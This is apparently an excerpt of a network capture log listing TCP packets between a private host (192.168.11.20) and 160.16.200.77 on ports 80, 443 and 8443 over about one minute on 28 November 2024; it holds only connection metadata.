Nov 28, 2024 13:22:16.139375925 CET	443	49718	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:16.746393919 CET	443	49718	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:16.746521950 CET	443	49718	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:16.746562004 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:16.746664047 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:16.746716022 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:16.746716022 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:16.746756077 CET	443	49718	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:16.746897936 CET	49718	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:16.830881119 CET	49716	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:16.831060886 CET	49719	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:17.116533995 CET	80	49719	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:17.116784096 CET	49719	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:17.116930962 CET	49719	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:17.139410973 CET	80	49716	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:17.139651060 CET	49716	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:17.402478933 CET	80	49719	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:17.402518034 CET	80	49719	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:17.402709961 CET	49719	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:17.910403013 CET	49720	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:18.188168049 CET	8443	49720	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:18.692735910 CET	49720	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:18.970442057 CET	8443	49720	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:19.474067926 CET	49720	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:19.751661062 CET	8443	49720	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:20.255079985 CET	49720	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:20.533313036 CET	8443	49720	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:21.036089897 CET	49720	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:21.313546896 CET	8443	49720	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:21.321050882 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:21.321163893 CET	443	49721	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:21.321346045 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:21.321480036 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:21.321542025 CET	443	49721	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:21.914608002 CET	443	49721	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:21.915007114 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:21.915433884 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:21.915445089 CET	443	49721	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:21.916778088 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:21.916788101 CET	443	49721	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:22.499274969 CET	443	49721	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:22.499469995 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:22.499480963 CET	443	49721	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:22.499644041 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:22.499696970 CET	443	49721	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:22.499711990 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:22.499850988 CET	49721	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:22.623982906 CET	49719	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:22.909769058 CET	80	49719	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:22.910129070 CET	49719	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:23.300492048 CET	49722	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:23.613754988 CET	8443	49722	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:24.113658905 CET	49722	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:24.426728964 CET	8443	49722	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:24.941399097 CET	49722	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:25.262301922 CET	8443	49722	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:25.769362926 CET	49722	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:26.084592104 CET	8443	49722	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:26.597460032 CET	49722	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:26.910814047 CET	8443	49722	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:26.919312954 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:26.919351101 CET	443	49723	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:26.919517994 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:26.919689894 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:26.919703960 CET	443	49723	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:27.538324118 CET	443	49723	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:27.538548946 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:27.539041042 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:27.539113998 CET	443	49723	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:27.540290117 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:27.540334940 CET	443	49723	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:28.147356987 CET	443	49723	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:28.147567987 CET	443	49723	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:28.147695065 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.147777081 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.147828102 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.147828102 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.147875071 CET	443	49723	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:28.148039103 CET	49723	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.322287083 CET	49719	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.322362900 CET	49724	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.600137949 CET	80	49724	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:28.600464106 CET	49724	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.600559950 CET	49724	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.608390093 CET	80	49719	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:28.608613014 CET	49719	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:28.877880096 CET	80	49724	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:28.886235952 CET	80	49724	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:28.886559010 CET	49724	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:29.341304064 CET	49725	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:29.651192904 CET	8443	49725	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:30.159204006 CET	49725	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:30.464503050 CET	8443	49725	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:30.971362114 CET	49725	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:31.286648035 CET	8443	49725	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:31.799278021 CET	49725	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:32.108072042 CET	8443	49725	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:32.611948013 CET	49725	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:32.916763067 CET	8443	49725	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:32.925450087 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:32.925482035 CET	443	49726	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:32.925702095 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:32.925813913 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:32.925841093 CET	443	49726	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:33.557806015 CET	443	49726	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:33.558100939 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:33.558491945 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:33.558535099 CET	443	49726	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:33.560174942 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:33.560218096 CET	443	49726	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:34.185857058 CET	443	49726	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:34.186064959 CET	443	49726	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:34.186110973 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.186213017 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.186307907 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.186378956 CET	443	49726	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:34.186397076 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.186508894 CET	49726	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.295078039 CET	49724	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.295262098 CET	49727	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.572707891 CET	80	49724	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:34.572760105 CET	80	49727	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:34.573014975 CET	49727	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.573016882 CET	49724	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.573101044 CET	49727	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:34.850522995 CET	80	49727	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:34.852482080 CET	80	49727	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:34.852834940 CET	49727	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:35.347244024 CET	49728	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:35.668112040 CET	8443	49728	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:36.173361063 CET	49728	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:36.496824026 CET	8443	49728	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:37.001502037 CET	49728	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:37.314821959 CET	8443	49728	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:37.829452991 CET	49728	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:38.142770052 CET	8443	49728	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:38.657134056 CET	49728	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:38.970654011 CET	8443	49728	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:39.046220064 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:39.046305895 CET	443	49729	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:39.046525002 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:39.046689987 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:39.046737909 CET	443	49729	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:39.663548946 CET	443	49729	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:39.663832903 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:39.664196014 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:39.664206028 CET	443	49729	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:39.664967060 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:39.664977074 CET	443	49729	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:40.292933941 CET	443	49729	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:40.293147087 CET	443	49729	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:40.293226004 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:40.293334007 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:40.293334007 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:40.293375015 CET	443	49729	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:40.293554068 CET	49729	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:40.410196066 CET	49727	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:40.687722921 CET	80	49727	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:40.688061953 CET	49727	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:41.017644882 CET	49730	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:41.322578907 CET	8443	49730	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:41.828356981 CET	49730	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:42.133610964 CET	8443	49730	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:42.640647888 CET	49730	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:42.945569992 CET	8443	49730	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:43.453150988 CET	49730	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:43.758033991 CET	8443	49730	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:44.265311003 CET	49730	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:44.570204020 CET	8443	49730	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:44.577538967 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:44.577615023 CET	443	49732	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:44.577801943 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:44.577986002 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:44.578022957 CET	443	49732	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:45.166085005 CET	443	49732	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:45.166414976 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:45.166780949 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:45.166852951 CET	443	49732	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:45.170620918 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:45.170692921 CET	443	49732	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:45.735866070 CET	443	49732	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:45.736016989 CET	443	49732	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:45.736089945 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:45.736222029 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:45.736222982 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:45.736270905 CET	49732	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:45.808204889 CET	49727	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:45.808365107 CET	49733	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:46.085448980 CET	80	49727	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:46.085479021 CET	80	49733	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:46.085604906 CET	49727	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:46.085628986 CET	49733	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:46.085762024 CET	49733	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:46.363066912 CET	80	49733	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:46.363126040 CET	80	49733	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:46.363473892 CET	49733	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:46.720046043 CET	49734	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:47.033503056 CET	8443	49734	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:47.545824051 CET	49734	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:47.859055996 CET	8443	49734	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:48.374068975 CET	49734	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:48.687557936 CET	8443	49734	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:49.202003002 CET	49734	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:49.515207052 CET	8443	49734	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:50.029946089 CET	49734	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:50.343564987 CET	8443	49734	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:50.388876915 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:50.388983965 CET	443	49735	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:50.389327049 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:50.389451027 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:50.389493942 CET	443	49735	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:50.975199938 CET	443	49735	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:50.975492954 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:50.975841045 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:50.975912094 CET	443	49735	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:50.976511955 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:50.976560116 CET	443	49735	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:51.555094004 CET	443	49735	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:51.555298090 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:51.555306911 CET	443	49735	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:51.555427074 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:51.555478096 CET	443	49735	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:51.555493116 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:51.555614948 CET	49735	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:51.699064016 CET	49733	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:51.976690054 CET	80	49733	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:51.976958990 CET	49733	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:52.282641888 CET	49736	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:52.562623024 CET	8443	49736	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:53.075970888 CET	49736	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:53.353595972 CET	8443	49736	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:53.856992006 CET	49736	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:54.134790897 CET	8443	49736	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:54.638132095 CET	49736	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:54.921003103 CET	8443	49736	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:55.434920073 CET	49736	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:55.712358952 CET	8443	49736	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:55.775315046 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:55.775393009 CET	443	49737	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:55.775666952 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:55.775819063 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:55.775871992 CET	443	49737	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:56.412046909 CET	443	49737	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:56.412312984 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:56.412729979 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:56.412765026 CET	443	49737	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:56.414364100 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:56.414411068 CET	443	49737	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:57.037405968 CET	443	49737	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:57.037630081 CET	443	49737	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:57.037761927 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.037818909 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.037914991 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.037914991 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.037961960 CET	443	49737	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:57.038217068 CET	49737	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.198309898 CET	49733	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.198427916 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.476035118 CET	80	49733	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:57.476264000 CET	49733	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.511780977 CET	80	49738	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:57.511993885 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.512082100 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:57.825633049 CET	80	49738	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:57.825690985 CET	80	49738	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:57.825918913 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:58.229273081 CET	49739	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:58.506999969 CET	8443	49739	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:59.012398958 CET	49739	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:22:59.290081024 CET	8443	49739	160.16.200.77	192.168.11.20
Nov 28, 2024 13:22:59.793359041 CET	49739	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:00.071177006 CET	8443	49739	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:00.574371099 CET	49739	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:00.852060080 CET	8443	49739	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:01.355340004 CET	49739	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:01.637574911 CET	8443	49739	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:01.644900084 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:01.645013094 CET	443	49740	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:01.645625114 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:01.645626068 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:01.645781040 CET	443	49740	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:02.269321918 CET	443	49740	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:02.269511938 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:02.270122051 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:02.270191908 CET	443	49740	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:02.271507978 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:02.271579981 CET	443	49740	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:02.879704952 CET	443	49740	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:02.879920959 CET	443	49740	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:02.880013943 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:02.880135059 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:02.880135059 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:02.880203009 CET	49740	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:03.033888102 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:03.347639084 CET	80	49738	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:03.348036051 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:03.681226969 CET	49741	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:03.958349943 CET	8443	49741	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:04.463943958 CET	49741	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:04.741564989 CET	8443	49741	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:05.245188951 CET	49741	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:05.522983074 CET	8443	49741	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:06.026161909 CET	49741	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:06.303553104 CET	8443	49741	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:06.807354927 CET	49741	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:07.084851980 CET	8443	49741	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:07.131014109 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:07.131093979 CET	443	49742	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:07.131300926 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:07.131437063 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:07.131484032 CET	443	49742	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:07.709079027 CET	443	49742	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:07.709270000 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:07.709630013 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:07.709640980 CET	443	49742	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:07.710407019 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:07.710419893 CET	443	49742	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:08.280857086 CET	443	49742	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:08.281040907 CET	443	49742	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:08.281209946 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:08.281271935 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:08.282320023 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:08.282320023 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:08.282382011 CET	443	49742	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:08.282604933 CET	49742	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:08.297637939 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:08.611376047 CET	80	49738	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:08.611726046 CET	49738	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:08.859644890 CET	49743	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:09.173219919 CET	8443	49743	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:09.681655884 CET	49743	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:09.997456074 CET	8443	49743	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:10.509591103 CET	49743	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:10.831234932 CET	8443	49743	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:11.338161945 CET	49743	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:11.651752949 CET	8443	49743	160.16.200.77	192.168.11.20
Nov 28, 2024 13:23:12.165426970 CET	49743	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:23:12.478959084 CET	8443	49743	160.16.200.77	192.168.11.20
